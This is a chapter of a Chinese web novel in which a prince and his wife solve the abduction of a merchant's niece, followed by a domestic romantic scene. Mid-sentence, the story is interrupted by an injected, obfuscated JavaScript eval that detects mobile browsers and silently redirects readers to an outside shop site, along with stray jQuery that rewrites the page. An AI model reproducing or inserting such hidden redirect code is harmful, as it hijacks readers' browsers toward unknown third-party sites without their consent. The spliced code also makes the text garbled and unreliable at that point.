“殿下,查到了,吕见跃与朔津国使臣团里的通事确有往来。”玄墨说着,将取来的画像交给祁瑾序。
画上的人正是贺兰骨,朔津国使臣团中随行通事,年三十七,年轻时多国跋涉经商,精通各国本土语言,被纳入此次出使大祁行列,抵京时间前年十二月初。
比使团早了整整月余。
玄墨接着禀报:“贺兰骨自抵京起频繁与钟翠轩往来,但出面的多是木顺,约莫一月前,贺兰骨与吕见跃才第一次同出现在酒肆。”
祁瑾序将长桌上的木匣给玄墨:“一月前,差不多吕奚芙失踪的时候,继续查木顺和吕见跃。”
贺兰骨......祁瑾序回忆一番,大朝会那日并未见到此人,应是临时插进使臣团的低级通事。
酥酪吃多了有些腻人,常昭宁放下瓷勺,看向对面,祁瑾序正抱着双臂,面前的食器净得发亮。
一桌当中近半甜食全是他叫的,自己倒是丝毫未动。
从入座起祁瑾序就一直望着窗外,金簌斋对面只一座普通酒肆,常昭宁瞥了几眼,也没发现什么特别的。
祁瑾序余光见常昭宁不动了,遂松开双手,坐直了身子:“吃好了?”
常昭宁点点头,吃饱了。祁瑾序今日忽然提议要来金簌斋吃饭,常昭宁知晓肯定与吕见跃有关。
祁瑾序又看向窗外,唇角勾起一抹笑意:“来了。”
应声望去,酒肆前人来人往,常昭宁眯了眯眼:“那不是何杨吗?”
祁瑾序视线定了一瞬,何杨今日穿了身粗旧布衣,垂首缓步走在人群中,方才专注盯着木顺,不仔细看当真发现不了何杨。
常昭宁疑惑:“他怎么会来云峘阁?”何杨与何母清贫,今日装扮也不像是来云峘阁吃饭的。
“他在跟踪吕见跃的贴身小厮。”祁瑾序伸手,指了下云峘阁肆门处,“穿青衫的那个。”
木顺阔步走进云峘阁,堂倌笑着引他入内,片刻后,何杨也跟着进了云峘阁。
胳膊被推了一下,祁瑾序回头,见常昭宁已从座上起身准备下楼了:“我们也去云峘阁。”
“别急。”祁瑾序一把拉回常昭宁,二人坐到同一处雅座,祁瑾序下巴扬了扬,慢道:“夜寻已经在了。”
果然夜寻也进了云峘阁。
“木顺的身份可能不止是小厮。”祁瑾序收回视线,给自己倒了盏酒。
那人看着也不过十六七岁,肤色并不白皙,与玑素园管事不同,木顺穿着不菲,木顺......
“他与木槿是兄妹,昨日何杨提到木顺时,木槿很奇怪,茶水倒满了她也不知。”常昭宁想起与木顺七分相似的脸,“还有,何杨提到吕奚芙时候木槿似怔愣了半晌,我们都进院了,她还愣在外面,何杨叫了她一声。”
闻言,祁瑾序思索片刻,道:“何杨跟着木顺,很可能就是从木槿那打听到了什么。”
“何杨与木顺......二人之间除了木槿,就只有吕见跃和吕奚芙了!”
常昭宁将几人之间的关系理顺,案子在脑中也明晰起来。
吕奚芙失踪极有可能与木顺有关。
常昭宁与祁瑾序在金簌斋坐了会儿,夜寻与玄墨一道进了厢内,中间还跟着何杨。
何杨面如沉水,玄墨拱手:“殿下,夫人,何杨有事要禀告。”
何杨呼出一口气,抬头看见窗牖,心下了然:“想必大人早知木顺有问题,前日我见木槿浑身不对劲,盘问一番,才知是木顺绑走了奚芙。”
何杨不紧不慢说着:“贺兰骨初至京城时,木顺设宴款待,为吕见跃谋生意,也是那次贺兰骨与奚芙结识。”
“我知木槿......心悦于我,”何杨皱眉,“但我一直将木槿当作普通阿妹看待,我对奚芙的心意也从未遮掩过。木顺看不得木槿伤心,恰巧贺兰骨对奚芙有意,故意设计奚芙独自出走,实则将奚芙送到了贺兰骨那。”
常昭宁心中缓缓生出凉意:“木顺再如何疼爱妹妹,怎么敢算计主家的女儿?”
何杨也觉讽刺,咬牙切齿:“因为奚芙并非吕见跃所生,木顺和木槿才是。”
此话一出,宛如一道闷雷,划破天际,彻底撕开了吕家的真相。
木顺举止间都不像小厮的模样,年纪轻轻已跟吕见跃走访多处,况且从不住在玑素园,也是避着刘氏的风头。
祁瑾序平静地看着何杨:“木槿怎么会突然告诉你这些?”
何杨一时不知如何作答,只道:“奚芙与木槿交好,先前不知木顺心狠至此,昨日我逼问后才将事实说出来。”
祁瑾序扫了一眼何杨低垂的头,冷声吩咐夜寻:“速报曹指挥,即刻将木顺与木槿缉拿审讯,不得拖延。”
何杨眸底一闪,脸上划过一丝惊慌:“大人,此事木槿并不知情,今日我跟踪木顺,发现他与贺兰骨却有往来。”
祁瑾序并未出声,常昭宁道:“审讯而已,只要木槿不做隐瞒,她不会有事的。”
贺兰骨在贡平寺外驿站居住,刑部让贡平寺与朔津国大通事牵头,说明事案原委,终于找到吕奚芙。
暖阁内,常昭宁看书,祁瑾序不久前回府也进了暖阁,玄墨与夜寻汇报刑部情况。
“大通事本有些犯难,与朔津国太子禀明后,很快放刑部入驿站搜查。”祁瑾序先前派玄墨协助曹知羽,此事涉及两国礼遇,并不容易,郁郅裘的果断倒是省了不少麻烦事。
“吕奚芙正是被贺兰骨囚了起来,但贺兰骨忧心被朔津国太子发现,并未得逞,刑部将吕奚芙带走后,听说贺兰骨也被驿站赶出来了,被发现时伤痕累累。”
驿站无权擅自赶出贺兰骨,此事应是郁郅裘的手笔。
常昭宁右手撑着脸,将书页揭过,随口言道:“还好郁太子明辨是非,否则对这贺兰骨也无可奈何。”
玄墨闻言点头,知晓当时刑部与朔津国使团的剑拔弩张,常昭宁所言不无道理。
祁瑾序眉头蹙起,语气稍硬:“郁郅裘心机深沉,贺兰骨那点小伎俩压根逃不过他的眼睛,只是懒得管而已,如今被发现了,他正好借此把贺兰骨踢出使团。”
看祁瑾序似乎对郁郅裘很了解,常昭宁压住书:“此事也算告一段落,但吕员外当初是真的不知吕奚芙被木顺陷害吗?”
玄墨接着答道:“吕员外亲自去刑部将吕奚芙接走,也将宅中暗自帮协木顺的管事押送到刑部,木顺已经签下认罪书,此事全他一人所为。”
木顺所做一切,只为木槿能与何杨在一块,有些荒谬,他既知晓自己的身份,才会如此殚精竭虑替钟翠轩谋生意,要说吕见跃关于木顺对吕奚芙的算计之意全然不知,那是不可能的,他对侄女这么多年的疼爱不少,但对木顺的纵容也不假。
桌上吕奚芙的画像,容色清秀,与吕见跃确无半分相像。
素芷将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911581|213128||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灯檠内烛点燃,小声道:“夫人,夜里灯暗累眼,不如明日再看。”
常昭宁拿着一只旧的臂韝,往灯前凑了凑,“无碍。”
“嘎吱—”屋门被推开。
祁瑾序刚从外走进来,就见常昭宁飞快将手中之物往身后藏。
一声轻笑从祁瑾序喉间传出,他作势要往右看:“在藏什么啊。”
常昭宁在背后用帕子将其裹好,塞给素芷,放大音量,“没什么。”
素芷接过,看祁瑾序对着常昭宁扬起的嘴角,俯身告退,轻步退出房内。
祁瑾序并未过多在意,照例抬步去看狸奴。方才走出一步,身后传来常昭宁的声音:“祁瑾序,你过来。”
祁瑾序脚步一停,回过头来,嘴上虽缓缓问了句何事,已三步走至她身前。
祁瑾序身姿高挑,将烛火遮去。
落下一道侧影,他往常昭宁身后瞥了眼,屋内灯火朦胧,地上映出二人身影。
两道身影悄然相贴。
常昭宁从桌上拿起布帛尺,抬手在祁瑾序肩上拉开:“量身。”
比了片刻,觉着有些暗,她收回帛尺,往右走了半步,侧身拍了拍祁瑾序的肩,轻道:“转过来。”
祁瑾序收回视线,依言安分转身,与她面对面站定。
纤手捏着布帛尺再次攀上他的肩,祁瑾序不动声色,一副任她摆布的样子,常昭宁依次量了他的肩宽,臂长,再到腰围……
常昭宁让他抬臂,后又往前半步,侧头贴近祁瑾序,双手环上他的腰间,布帛尺隔着锦缎虚虚拢着。
祁瑾序肩背忽得有些僵硬,呼吸滞了半瞬,抬头移开目光。
常昭宁记下尺寸,退回半步,垂眸道:“好了。”
“量身做什么?”祁瑾序调匀了气息,看着十分自然,丝毫不见慌乱。
常昭宁转身,专注在香案写下尺寸,道:“还能做什么?”
莫不是要替他做衣裳。但前几日府上衣匠已替他量过,她直接派人打听即可,为何又亲自替他重量一次。
罢了,她想如何便如何吧。
祁瑾序心中自作大度地想着,唇角不自觉扬起。
常昭宁细细记录下尺寸,又将帛尺卷好,回头正要说话,就撞见祁瑾序嘴角莫名的笑意,疑道:“你笑什么?”
祁瑾序与她相视,敛下不自知的笑意,动动唇:“有些口渴。”
祁瑾序说罢,随手取来桌上杯盏,待常昭宁反应过来,正欲开口提醒,祁瑾序毫无迟疑,仰头将其饮尽。
再看常昭宁时,见她圆眼微睁,眼底露出难以言喻的神色,祁瑾序才惊觉这杯盏方才被她喝过。屋内气氛沉寂一瞬,祁瑾序状似无意地将杯盏搁回桌上,脸上不见半分尴尬。
常昭宁见他握着杯盏的手未松,还是开口提醒:“那是我喝过的。”
祁瑾序唇瓣因沾水湿润,常昭宁听他坦然地嗯了一声。
祁瑾序又从托盘里取出一盏未曾用过的,拿过瓷壶重新倒上凉水,将其放在方才的位置,“一时着急没看清,你喝新的。”
“哦。”常昭宁面颊一鼓,看见祁瑾序的耳尖后,抿唇笑了一下,“殿下这么着急?”
祁瑾序侧头看她,不与她笑下去:“你想什么,我还故意与你抢水喝不成?”
“自然不会,”常昭宁上前几步,拿起祁瑾序替她倒好的水,浅浅喝了一口:“嗯,解渴。”